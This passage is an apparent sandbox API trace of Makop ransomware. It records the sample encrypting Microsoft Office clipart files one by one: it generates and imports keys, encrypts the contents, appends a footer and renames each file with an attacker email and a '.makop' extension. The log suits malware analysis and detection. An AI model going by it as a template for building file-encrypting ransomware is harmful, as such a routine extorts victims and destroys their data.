nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.382] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.382] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.383] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x714c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x714c, lpOverlapped=0x0) returned 1 [0109.385] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7150, dwBufLen=0x7150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7150) returned 1 [0109.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.386] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7150, lpOverlapped=0x0) returned 1 [0109.386] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.386] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.386] SetEndOfFile (hFile=0xf0) returned 1 [0109.394] GetProcessHeap () returned 0x48a0000 [0109.394] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.394] GetProcessHeap () returned 0x48a0000 [0109.394] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.394] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.395] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.396] CloseHandle (hObject=0xf0) returned 1 [0109.396] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77641800, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77641800, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x532, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00076_.WMF", cAlternateFileName="")) returned 1 [0109.396] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0109.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.400] GetProcessHeap () returned 0x48a0000 [0109.401] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.401] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.401] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0109.405] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.405] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.405] GetProcessHeap () returned 0x48a0000 [0109.405] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.406] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.406] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.406] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.406] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.406] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.406] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.406] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.407] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.407] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.407] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.407] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x532, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x532, lpOverlapped=0x0) returned 1 [0109.407] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540, dwBufLen=0x540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x540) returned 1 [0109.407] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.407] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x540, lpOverlapped=0x0) returned 1 [0109.408] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.408] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.408] SetEndOfFile (hFile=0xf0) returned 1 [0109.415] GetProcessHeap () returned 0x48a0000 [0109.415] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.415] GetProcessHeap () returned 0x48a0000 [0109.415] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.415] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.417] CloseHandle (hObject=0xf0) returned 1 [0109.417] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfadcd00, ftCreationTime.dwHighDateTime=0x1bd4b2a, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfadcd00, ftLastWriteTime.dwHighDateTime=0x1bd4b2a, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00078_.WMF", cAlternateFileName="")) returned 1 [0109.417] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 63 [0109.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.419] GetProcessHeap () returned 0x48a0000 [0109.419] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.420] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.420] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.420] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.425] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.425] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.425] GetProcessHeap () returned 0x48a0000 [0109.425] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.425] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.425] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.425] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.425] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.426] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.426] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.426] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.426] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.426] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.426] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5a4, lpOverlapped=0x0) returned 1 [0109.427] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5b0) returned 1 [0109.427] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.427] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5b0, lpOverlapped=0x0) returned 1 [0109.427] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.427] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.427] SetEndOfFile (hFile=0xf0) returned 1 [0109.435] GetProcessHeap () returned 0x48a0000 [0109.435] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.435] GetProcessHeap () returned 0x48a0000 [0109.435] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.435] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.435] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.436] CloseHandle (hObject=0xf0) returned 1 [0109.436] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6395c300, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6395c300, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00092_.WMF", cAlternateFileName="")) returned 1 [0109.436] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0109.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.437] GetProcessHeap () returned 0x48a0000 [0109.437] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.437] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0109.442] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.442] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.443] GetProcessHeap () returned 0x48a0000 [0109.443] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.443] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.443] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.443] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.443] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.444] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.444] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.444] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.444] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.444] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f26, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f26, lpOverlapped=0x0) returned 1 [0109.446] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f30, dwBufLen=0x1f30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f30) returned 1 [0109.446] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.447] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f30, lpOverlapped=0x0) returned 1 [0109.447] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.447] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.447] SetEndOfFile (hFile=0xf0) returned 1 [0109.454] GetProcessHeap () returned 0x48a0000 [0109.454] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.454] GetProcessHeap () returned 0x48a0000 [0109.454] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.454] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.456] CloseHandle (hObject=0xf0) returned 1 [0109.456] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60023c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60023c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x94a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00100_.WMF", cAlternateFileName="")) returned 1 [0109.456] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0109.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.457] GetProcessHeap () returned 0x48a0000 [0109.457] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.457] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0109.461] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.462] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.462] GetProcessHeap () returned 0x48a0000 [0109.462] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.462] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.462] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.463] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, 